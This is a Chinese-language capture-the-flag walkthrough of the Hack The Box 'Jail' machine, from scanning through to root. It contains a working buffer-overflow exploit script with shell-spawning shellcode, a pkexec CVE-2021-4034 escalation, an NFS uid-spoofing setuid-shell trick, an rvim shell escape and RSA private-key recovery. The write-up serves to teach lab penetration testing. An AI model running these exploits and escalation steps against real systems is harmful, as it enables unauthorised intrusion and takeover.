目录
nmap扫描
nmap -A 10.10.10.34
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-28 22:27 EDT
Stats: 0:02:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 48.94% done; ETC: 22:32 (0:02:04 remaining)
Stats: 0:05:59 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 22:34 (0:00:16 remaining)
Nmap scan report for 10.10.10.34
Host is up (0.12s latency).
Not shown: 65257 filtered tcp ports (no-response), 272 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
| 256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_ 256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 39526/tcp6 nlockmgr
| 100021 1,3,4 42846/udp6 nlockmgr
| 100021 1,3,4 46781/tcp nlockmgr
| 100021 1,3,4 49806/udp nlockmgr
| 100024 1 33052/udp status
| 100024 1 34561/tcp status
| 100024 1 49568/tcp6 status
| 100024 1 56922/udp6 status
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
7411/tcp open daqstream?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ OK Ready. Send USER command.
20048/tcp open mountd 1-3 (RPC #100005)
发现以下端口信息:
22端口 ssh OpenSSH 6.6.1
80端口 http Apache httpd 2.4.6 ((CentOS))
111端口 rpcbind
2049 nfs_acl
7411 未知服务
20048 mountd nfs挂载守护进程
访问80端口,返回一个有意思的图片,没什么信息。

扫描web路径
feroxbuster -u http://10.10.10.34 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现目录 http://10.10.10.34/jailuser,

compile.sh
gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start
但是-z execstack 禁用了数据区执行保护 (DEP),也就是说如果jail.c的逻辑存在溢出问题,可以执行恶意指令。
那目标明确,接下来重点分析jail的源代码
jail.c
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
int debugmode;
int handle(int sock);
int auth(char *username, char *password);
int auth(char *username, char *password) {
char userpass[16];
char *response;
if (debugmode == 1) {
printf("Debug: userpass buffer @ %p\n", userpass);
fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0;
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0) {
return 1;
} else {
printf("Incorrect username and/or password.\n");
return 0;
}
return 0;
}
int handle(int sock) {
int n;
int gotuser = 0;
int gotpass = 0;
char buffer[1024];
char strchr[2] = "\n\x00";
char *token;
char username[256];
char password[256];
debugmode = 0;
memset(buffer, 0, 256);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
printf("OK Ready. Send USER command.\n");
fflush(stdout);
while(1) {
n = read(sock, buffer, 1024);
if (n < 0) {
perror("ERROR reading from socket");
return 0;
}
token = strtok(buffer, strchr);
while (token != NULL) {
if (gotuser == 1 && gotpass == 1) {
break;
}
if (strncmp(token, "USER ", 5) == 0) {
strncpy(username, token+5, sizeof(username));
gotuser=1;
if (gotpass == 0) {
printf("OK Send PASS command.\n");
fflush(stdout);
}
} else if (strncmp(token, "PASS ", 5) == 0) {
strncpy(password, token+5, sizeof(password));
gotpass=1;
if (gotuser == 0) {
printf("OK Send USER command.\n");
fflush(stdout);
}
} else if (strncmp(token, "DEBUG", 5) == 0) {
if (debugmode == 0) {
debugmode = 1;
printf("OK DEBUG mode on.\n");
fflush(stdout);
} else if (debugmode == 1) {
debugmode = 0;
printf("OK DEBUG mode off.\n");
fflush(stdout);
}
}
token = strtok(NULL, strchr);
}
if (gotuser == 1 && gotpass == 1) {
break;
}
}
if (auth(username, password)) {
printf("OK Authentication success. Send command.\n");
fflush(stdout);
n = read(sock, buffer, 1024);
if (n < 0) {
perror("Socket read error");
return 0;
}
if (strncmp(buffer, "OPEN", 4) == 0) {
printf("OK Jail doors opened.");
fflush(stdout);
} else if (strncmp(buffer, "CLOSE", 5) == 0) {
printf("OK Jail doors closed.");
fflush(stdout);
} else {
printf("ERR Invalid command.\n");
fflush(stdout);
return 1;
}
} else {
printf("ERR Authentication failed.\n");
fflush(stdout);
return 0;
}
return 0;
}
int main(int argc, char *argv[]) {
int sockfd;
int newsockfd;
int port;
int clientlen;
char buffer[256];
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int n;
int pid;
int sockyes;
sockyes = 1;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Socket error");
exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
perror("Setsockopt error");
exit(1);
}
memset((char*)&server_addr, 0, sizeof(server_addr));
port = 7411;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind error");
exit(1);
}
listen(sockfd, 200);
clientlen = sizeof(client_addr);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
if (newsockfd < 0) {
perror("Accept error");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("Fork error");
exit(1);
}
if (pid == 0) {
close(sockfd);
exit(handle(newsockfd));
} else {
close(newsockfd);
}
}
}
代码分析:
建立了一个套接字,AF_INET(ipv4),SOCK_STREAM(tcp连接),等会用nc作为客户端交互就行

监听端口7411,fork子进程调用handle(),实现功能的代码都在handle(),结合nmap发现打开了7411端口,应该就是这个程序jail

分析handle()有以下几种交互,
DEBUG 调试模式
#auth认证函数,硬编码,这里其实验证密码正确了,也没有什么后续的逻辑操作
#char username[256];
#char password[256];
USER admin 验证用户名
PASS 1974jailbreak! 验证密码
#这两个功能只是打印字符串,什么也不做
OPEN 打开监狱
CLOSE 关闭监狱
进入DEBUG调试模式

当先执行DEBUG模式,再进行密码认证的时候。会打印密码userpass的内存地址

打印了userpass的缓冲区地址

通过重复执行,发现userpass 缓冲区地址是静态的

漏洞的关键点
代码第21行strcpy() 将password[256]的值复制到userpass[16] ,导致userpass可以造成缓冲区溢出,

结合compile.sh脚本禁用了DEP,并且userpass的地址是静态的,可以尝试写入shellcode 执行命令
IDA调试
计算偏移量,strcpy()处下断点,

50个字符串已经崩溃

FFFFCAC0-FFFFCAA0=20,十进制就是32字节,要留4个字节写return到shellcode(),所以偏移量是28字节。

构造exp
#插入字符由:填充字符+ret地址+结束符+shellcode组成
#填充字符到ESP,28个字符,python -c 'print("A"*28)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
#16进制userpass的内存地址+结束符(0xffffcaa0+ \x00)
\xc0\xca\xff\xff
#shellcode
"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6
\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80
\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6
\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x31\xc9\xcd\x80";
在auth() return处下个断点,

调试跟进发现shellcode已经被转换成汇编代码执行,这段汇编代码实现Linux/x86 - execve(/bin/sh)

https://www.exploit-db.com/exploits/34060
执行完这段汇编代码即可返回sh shell
python实现脚本 exp.py
#!/usr/bin/env python3
from pwn import *
userpass_addr= int(b'0xffffd610',16) #这个地址要先通过DEBUG获取
if args['REMOTE']:
ip = '10.10.10.34'
else:
ip = '127.0.0.1'
# Get Leaked Address
shellcode = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
shellcode += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
shellcode += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
shellcode += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += b"\x89\xe3\x31\xc9\xcd\x80";
payload = b"A"*28
payload += p32(userpass_addr + 32 )
payload += shellcode
p = remote(ip, 7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)
p.interactive()
=====================================================
到这里分析结束,回到题目
获取nobody shell
先获取userpass_addr地址

执行

pkexec提权一步到位(非预期解)
============================================================

本来想curl传脚本过去,但是好像超时了,不给访问网络,不知道是有策略还是什么原因
所以直接写
https://github.com/dadvlingd/-CVE-2021-4034
cat CVE-2021-4034-py2.py |base64
echo '{编码后的内容}' >/tmp/pk_base64
cat /tmp/pk_base64|base64 -d >/tmp/pk.py

============================================================
正常提权
SELinux
一种嵌入linux内核的安全机制,目的是为了限制对文件和网络的策略访问,刚才curl超时可能和这个有关。
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
#context的意思是当前是system权限,并且没有限制什么服务,意思是我可以做任何事情(这里指的是SELinux策略没有限制nobody这个用户)
https://baike.baidu.com/item/SELinux/8865268?fr=aladdin
nobody提权到frank
sudo -l
nobody 可以执行/opt/logreader/logreader.sh,但是没权限看(后面回来看了也没什么信息)

根据nmap扫描出来的结果,2049端口是nfs服务
showmount -e 列出远程主机上的NFS共享目录

挂载之后发现什么也读不到,权限不够。并且nfsshare的权限组居然变成kali,

使用前面拿到的nobody shell看一下nfs的配置文件/etc/exports
$ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
通过查看文档得知,NFS在提供服务时有一个用户映射的机制在里面,配置参数如下:
all_squash:所有访问用户都映射为匿名用户或用户组;
no_all_squash(默认):访问用户先与本机用户匹配,匹配失败后再映射为匿名用户或用户组;
通过nobody shell 发现frank 用户组是1000,本地用户和靶机frank匹配失败,所以被映射为1000用户组 ,然后我本地kali的gid=1000所以前面看到远程挂载的用户组是kali

所以只要本地伪造一个用户frank,权限也设置为frank❌1000:1000:frank,这个账户就有权限访问 /var/nfsshare ,/opt
伪造frank用户 访问nfs
我kali本地uid=1000,要先将/etc/passwd, /etc/group 里kali的编号1000都改为1001,然后本地创建frank
#-u 指定uid
useradd frank -u 1000

==========================================================
后面测试发现nfs只匹配uid和gid,用户名不是frank也行,kali本身uid=1000的话就不用创建个新的账号这么麻烦了
==========================================================
重新挂载/var/nfsshare
mkdir -p /mnt/nfsshare
chmod 777 /mnt/nfsshare #不加的话frank没权限
#-o tcp 不加的话很卡
mount -t nfs -o tcp 10.10.10.34:/var/nfsshare/ /mnt/nfsshare/
现在用户组识别为frank

nfs挂载服务无法直接执行bash shell远程弹回来, 但是可以将编译好的bash shell程序通过nfs服务上传到远程服务器,然后再添加suid,再通过靶机上nobody 执行上传的bash shell
因为设置了suid位的进程在执行的时候,拥有的权限是进程本身的属主权限,而不是执行的发起者
,在执行过程中,调用者会暂时获得该文件的所有者权限
意思就是uid_1000_sh 的文件所有者是frank ,当uid_1000_sh设置了suid位,用nobody 去执行uid_1000_sh 的时候,uid_1000_sh 会以frank 权限被执行,这样就可以导致提权。
frank@kali:/tmp$ cat uid_1000_bash.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setresuid(1000, 1000, 1000);
system("/bin/bash");
return 0;
}
frank@kali:/tmp$ gcc -m32 uid_1000_bash.c -o /mnt/nfsshare/uid_1000_bash
frank@kali:/tmp$ chmod 7777 /mnt/nfsshare/uid_1000_bash
nobody 上执行后成功提权到frank
script /dev/null
/var/nfsshare/uid_1000_bash

这个shell不稳定,写个公钥用ssh连接

[frank@localhost .ssh]$ $ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKFfz2jS4mH1HmJMOhxCg0B/BbBLc4iDMYeR6wG1BKUeospV8EBwNnBDH+Qvg47XBBxhkjZGZToEELQ8ZFBeg7r75pSBkwxAaVG/sC9T8TEwqdr6a/G935eZXBFSzmuhV3sTlcKfMgb4tM5xdgNqRWcoCo3dwiYfya/6Bs6/1TEAmqWotGRjObhgcy95z8uObRmlvimEcLpdhUTJt10+2w63givJlP7OBOsFI4H4N4gMsh1NYQwyR2oUGYyc3suqkqnjDyzQ+7ezoje2sQr1Bg7AQqsI8YTh8ePElSTBEXc2/0WouqhwJ5jKMQP2jzGPF2RmKg9XghoIVQGdUBdh7998ABKyHdjJdWxk3ekNZoxnXp9tBlgVd2OQ8jUHW/sHi0anUwKY4ZhZ6SbJtOPJIm967oR5gLAUjPzVVYMHGSYajy1sJNXAYa9L/ro9F75O7H1cxZuWk7c6wUvJORB3tKovLr9gzKpshTXMDwIna9QzZcTkPBuNzpKVUJ2MHrGc= root@kali' >> /home/frank/.ssh/authorized_keys
登录
ssh -i /root/.ssh/id_rsa frank@10.10.10.34

frank提权到adm
sudo -l

frank可以以adm身份运行rvim,rvim是vim的一种
https://linux.die.net/man/1/rvim
命令写死了,参数无法注入
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
执行后进入文本编辑模式,常规vim可以在末行模式下输入:![command] 执行命令

但是rvim禁止执行shell命令

但是有绕过的方式
末行模式下输入:
#方法一
:py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")
#方法二
:python import pty; pty.spawn("/bin/bash")

确认后即可获得adm shell

adm提权到root
adm没有运行任何进程,只能查找和adm有关的文件
find / -group adm 2>/dev/null | grep -v -e ^/proc

排除下来只有三个文件
/var/adm/.keys/note.txt
/var/adm/.keys/.local/.frank
/var/adm/.keys/keys.rar
下面的扯淡的社工解密时间
==========================================================
note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
#翻译
来自管理员的注释:
弗兰克,最后一次,您的任何加密密码都必须是您的姓氏,后跟一个 4 位数字和一个符号。
.frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
#这个纯经验,没见过这个加密方式就解不了
解密网站:https://www.quipqiup.com/
解密结果:
Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!
关键信息:alcatraz
keys.rar是压缩包(可以base64传出来解压看)
└─# file keys.rar
keys.rar: RAR archive data, v4, os: Unix
打开可以看到是root的公钥文件,但是需要密码

结合note.txt和.frank ,给出的信息和密码有关
密码是:Frank的姓氏+4位数字+1个符号
Frank(弗兰克)的姓氏结合alcatraz(恶魔岛)和题目名jail可以社工到这个人Frank Morris
https://en.wikipedia.org/wiki/June_1962_Alcatraz_escape_attempt
越狱事件是1962年,所以得到一个接近的密码
Morris1962 + 1个符号
还差一个符号,可以爆破了
使用工具archpr,掩码是Morris1962?

得到密码Morris1962!

解压得到rootauthorizedsshkey.pub
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----
恢复root公钥
RsaCtfTool这个工具可以将弱公钥恢复成私钥
https://github.com/RsaCtfTool/RsaCtfTool
安装这个工具的依赖
git clone https://github.com/RsaCtfTool/RsaCtfTool
#mpfr
wget https://www.mpfr.org/mpfr-current/mpfr-4.1.0.tar.bz2
tar -jxvf mpfr-4.1.0.tar.bz2 && cd mpfr-4.1.0
./configure
make && make check && make install
#mpc
wget ftp://ftp.gnu.org/gnu/mpc/mpc-1.1.0.tar.gz
tar -zxvf mpc-1.1.0.tar.gz && cd mpc-1.1.0
./configure
make && make check && make install
cd RsaCtfTool
python3 -m pip install -r requirements.txt
执行
python3 ./RsaCtfTool/RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private

得到root私钥,保存位jail-root
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----
设置权限
chmod 600 ./jail-root
获得root权限

